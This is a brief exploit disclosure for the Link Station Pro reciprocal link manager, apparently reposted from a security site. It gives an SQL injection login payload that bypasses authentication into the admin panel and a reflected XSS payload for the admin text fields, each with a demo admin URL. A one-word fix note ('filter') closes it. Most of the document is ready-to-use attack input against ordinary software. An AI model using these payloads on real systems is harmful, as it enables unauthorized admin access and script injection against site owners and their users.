BREIF DESCRIPTION 

***************************** 

 Link Station Pro is without doubt, the most efficient, easiest and most 

configurable reciprocal link management tool available for all your 

reciprocal link requirements. 

  

****************************************************************************************************************************   

(Auth ByPass) SQLi Vulnerability 

*************************************** 

{DEMO} : http://www.2cto.com /Partners/admindemo/index.php 

  

EXPLOIT: 

                 Username: ' or 'bug'='bug' # 

                 Password: ' or 'bug'='bug' # 

Observe: Attackers can use Authentication Bypass to get into Admin Panel in 

the site. 

  

Reflected XSS Vulnerability 

******************************** 

EXPLOIT 2:  XSS Vulnerability in admin panel(in most of the text fields) 

  

   {Demo}: 

http://www.2cto.com /Partners/admindemo/manage_categories.php 

    Exploit:  ">><marquee><h1>XSSed_by_r007k17</h1></marquee> 

  
修复：过滤